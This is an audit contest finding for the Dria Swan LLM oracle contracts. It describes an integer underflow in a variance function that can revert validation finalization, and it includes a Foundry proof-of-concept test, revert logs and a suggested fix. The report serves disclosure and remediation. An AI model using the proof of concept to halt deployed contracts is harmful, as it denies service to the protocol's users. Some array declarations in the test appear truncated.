Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: high
Valid

Underflow Vulnerability in Variance Calculation Leading to Denial of Service

Summary

The contract LLMOracleCoordinator.sol is utilizing a statistical library Statistics which houses essential functions for computing mean, variance, and standard deviation on arrays of unsigned integers. A vulnerability has been identified within the variance function. This vulnerability manifests as an integer underflow during the calculation, when individual data points are less than the mean of the dataset, potentially leading to a Denial of Service (DoS).

Vulnerability Details

The vulnerability is located in the variance function of the Statistics library. This function computes the variance of an array of uint256 numbers.

https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/libraries/Statistics.sol#L18C1-L26C6

function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
mean = avg(data);
uint256 sum = 0;
for (uint256 i = 0; i < data.length; i++) {
@>> uint256 diff = data[i] - mean;
sum += diff * diff;
}
ans = sum / data.length;
}

When calculating the variance, each data point in the array is subtracted from the computed mean. If any data point is less than the mean, this subtraction results in an underflow.

The function finalizeValidation in LLMOracleCoordinator.sol calls the stddev function of the Statistics library, which internally calls variance. During the execution, if the scores or the generationScores arrays contain values that cause an underflow, the transaction could be disrupted.

Impact

Denial of Service

POC

In this Proof of Concept, I will demonstrate the integer underflow vulnerability in the variance function of the Statistics library when utilized by the LLMOracleCoordinator contract. By creating a scenario that triggers the vulnerability, we can observe its effects and verify the potential impact.

Scenario Overview

  1. Setup:

    • We initiate a request within the smart contract system that involves a computation where validators submit scores. This simulates a real-world use case where validator scores are essential for task validation and reward distribution.

  2. Involvement of Validators:

    • For this demonstration, we introduce four validators. Each validator submits a score that will be processed by the contract through mean and variance calculations.

  3. Score Configuration:

    • The scores provided by the validators are specifically selected to ensure that one or more are significantly lower than the calculated mean of all provided scores. This configuration is intentional to trigger the underflow during variance calculation.

  4. Execution:

    • The finalizeValidation function is invoked, which processes the scores via the Statistics.stddev function. This internally calls variance, where the vulnerability is embedded.

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
import "../lib/forge-std/src/Test.sol";
import "../contracts/LLM/LLMOracleCoordinator.sol";
import "../contracts/LLM/LLMOracleRegistry.sol";
import "../contracts/LLM/LLMOracleManager.sol";
import "../contracts/LLM/LLMOracleTask.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../lib/forge-std/src/mocks/MockERC20.sol";
contract ContractsTest is Test {
LLMOracleCoordinator public coordinator;
LLMOracleRegistry public registry;
LLMOracleManager public manager;
MockERC20 public feeToken;
ERC1967Proxy public proxyCoordinator;
ERC1967Proxy public proxyRegistry;
ERC1967Proxy public proxyManager;
address public user = address(0x123);
address public owner = address(this);
function setUp() public {
// Deploy the token to be used for fees
feeToken = new MockERC20();
feeToken.initialize("feeToken", "ft", 18);
// Coordinator logic contract
LLMOracleCoordinator logicCoordinator = new LLMOracleCoordinator();
// Registry logic contract
LLMOracleRegistry logicRegistry = new LLMOracleRegistry();
// Deploy proxyRegistry with initializer
proxyRegistry = new ERC1967Proxy(
address(logicRegistry),
abi.encodeWithSelector(
LLMOracleRegistry.initialize.selector,
1000, // Generator Stake Amount
500, // Validator Stake Amount
address(feeToken) // Fee Token address
)
);
// Deploy proxyCoordinator with initializer
proxyCoordinator = new ERC1967Proxy(
address(logicCoordinator),
abi.encodeWithSelector(
LLMOracleCoordinator.initialize.selector,
address(proxyRegistry), // Oracle Registry address
address(feeToken), // Fee Token address
100, // Platform Fee
50, // Generation Fee
25 // Validation Fee
)
);
// Assign instance variables to proxied contracts
coordinator = LLMOracleCoordinator(address(proxyCoordinator));
registry = LLMOracleRegistry(address(proxyRegistry));
}
function logTaskRequestDetails(uint256 taskId) internal {
// Deconstruct the information from the requests mapping using the taskId
(
address requester,
bytes32 protocol,
LLMOracleTaskParameters memory parameters,
LLMOracleTask.TaskStatus status,
uint256 generatorFee,
uint256 validatorFee,
uint256 platformFee,
bytes memory input,
bytes memory models
) = coordinator.requests(taskId);
// Log information
console.log("");
console.log("---------------------------------------");
console.log("Task ID:", taskId);
console.log("Requester:", requester);
console.logBytes32(protocol);
console.log("Task Status:", uint(status));
console.log("Generator Fee:", generatorFee);
console.log("Validator Fee:", validatorFee);
console.log("Platform Fee:", platformFee);
console.log("Input Data:", string(input));
console.log("Models:", string(models));
// Additional logging for parameters if needed
console.log("Parameters - Difficulty:", parameters.difficulty);
console.log("Parameters - Num Generations:", parameters.numGenerations);
console.log("Parameters - Num Validations:", parameters.numValidations);
console.log("");
}
function logTaskResponseDetails(uint256 taskId) internal view {
// Retrieve responses for the given taskId
LLMOracleTask.TaskResponse[] memory responses = coordinator.getResponses(taskId);
// Iterate and log each response's details
for (uint256 i = 0; i < responses.length; i++) {
console.log("");
console.log("---------------------------------------");
console.log("Response Index:", i);
console.log("Responder Address:", responses[i].responder);
console.log("Nonce:", responses[i].nonce);
console.log("Score:", responses[i].score);
console.log("Output Data:", string(responses[i].output));
console.log("Metadata:", string(responses[i].metadata));
console.log("---------------------------------------");
}
}
function mineValidNonce(uint256 taskId, bytes memory input, address requester, address responder, uint256 difficulty) internal view returns (uint256) {
uint256 nonce = 0;
bytes memory message;
uint256 target = type(uint256).max >> difficulty;
while (true) {
// Ensure `responder` is used in the same sense `msg.sender` would be during response
message = abi.encodePacked(taskId, input, requester, responder, nonce);
if (uint256(keccak256(message)) <= target) {
console.log("taskId", taskId);
console.logBytes(input);
console.log("requester", requester);
console.log("responder", responder);
console.log("nonce", nonce);
console.logBytes(message);
console.log("mineValidNonce passing value : ", uint256(keccak256(message)));
console.log(" target value : ", target);
console.log("difficulty : ", difficulty);
console.log("responder: ", responder);
break;
}
nonce++;
}
console.log("nonce found : ", nonce);
return nonce;
}
function respondToTask(uint256 taskId, address responder, bytes memory responseOutput, bytes memory metadata) internal {
// Retrieve the input and difficulty from the task request
(address requester, , LLMOracleTaskParameters memory parameters, , , , , bytes memory input, ) = coordinator.requests(taskId);
// Calculate a valid nonce for this response
uint256 nonce = mineValidNonce(taskId, input, requester, responder, parameters.difficulty);
vm.startPrank(responder);
coordinator.respond(taskId, nonce, responseOutput, metadata);
vm.stopPrank();
}
function testMultipleRepliesToTaskRequest() public {
vm.startPrank(user);
// Register the user as a generator in the registry
deal(address(feeToken), user, 1000 ether);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Generator);
bytes32 protocol = "test/1.0.0";
bytes memory input = "Generate text";
bytes memory models = "";
LLMOracleTaskParameters memory params = LLMOracleTaskParameters(5, 4, 4); // Set numGenerations to 4 for this test
// Simulate user having enough tokens and approving
deal(address(feeToken), user, 100 ether);
feeToken.approve(address(coordinator), 100 ether);
uint256 taskId = coordinator.request(protocol, input, models, params);
vm.stopPrank();
// Define other users for responding
address[] memory responders = new address[]();
responders[0] = address(0x456);
responders[1] = address(0x789);
responders[2] = address(0xABC);
responders[3] = address(0xDEF);
// Register all responders as generators
for (uint256 i = 0; i < responders.length; i++) {
deal(address(feeToken), responders[i], 1100 ether);
vm.startPrank(responders[i]);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Generator);
vm.stopPrank();
}
// Each responder responds with a valid response
bytes memory responseOutput = "Response output text";
bytes memory metadata = "Oracle metadata";
for (uint256 i = 0; i < responders.length; i++) {
respondToTask(taskId, responders[i], responseOutput, metadata);
}
// Verify multiple responses are recorded
LLMOracleTask.TaskResponse[] memory responses = coordinator.getResponses(taskId);
assertEq(responses.length, 4);
for (uint256 i = 0; i < responders.length; i++) {
assertEq(responses[i].responder, responders[i]);
}
logTaskRequestDetails(taskId);
logTaskResponseDetails(taskId);
}
function testValidateMultipleResponses() public {
// Setup multiple responses using the existing test function
testMultipleRepliesToTaskRequest();
// Define validators and register them
address[] memory validators = new address[]();
validators[0] = address(0x5678);
validators[1] = address(0x6789);
validators[2] = address(0x7890);
validators[3] = address(0x8901);
uint256[] memory scores = new uint256[]();
scores[0] = 10;
scores[1] = 8;
scores[2] = 9;
scores[3] = 7;
// Register all validators
for (uint256 i = 0; i < validators.length; i++) {
deal(address(feeToken), validators[i], 1100 ether);
vm.startPrank(validators[i]);
feeToken.approve(address(registry), 1000 ether);
registry.register(LLMOracleKind.Validator);
vm.stopPrank();
}
uint256 taskId = 1;
(address requester, , LLMOracleTaskParameters memory parameters, , , , , bytes memory input, ) = coordinator.requests(taskId);
// Call validation from each validator
bytes memory metadata = "Validator metadata";
for (uint256 i = 0; i < validators.length; i++) {
vm.startPrank(validators[i]);
uint256 nonce = mineValidNonce(taskId, input, requester, validators[i], parameters.difficulty);
coordinator.validate(taskId, nonce, scores, metadata);
vm.stopPrank();
}
// Verify validations are recorded correctly
LLMOracleTask.TaskValidation[] memory validations = coordinator.getValidations(taskId);
assertEq(validations.length, 4);
for (uint256 i = 0; i < validators.length; i++) {
assertEq(validations[i].validator, validators[i]);
}
logTaskRequestDetails(taskId);
logTaskResponseDetails(taskId);
}

Logs

│ │ ├─ [0] console::log("_stddev : ", 0) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Initial mean:", 8) [staticcall]
[0] console::log("Data[", 2, "]:", 9) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Diff for index ", 2, ":", 1) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Sum after index ", 2, ":", 5) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Data[", 3, "]:", 7) [staticcall]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)

In this case we have a data = 7 and a mean = 8. 7 - 8 underflow.

Tools Used

Foundry

Recommendations

function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
require(data.length > 0, "Data array cannot be empty");
mean = avg(data);
uint256 sum = 0;
for (uint256 i = 0; i < data.length; i++) {
-- uint256 diff = data[i] - mean;
++ uint256 diff = data[i] > mean ? data[i] - mean : mean - data[i];
sum += diff * diff;
}
ans = sum / data.length;
}

}

Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Underflow in computing variance

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.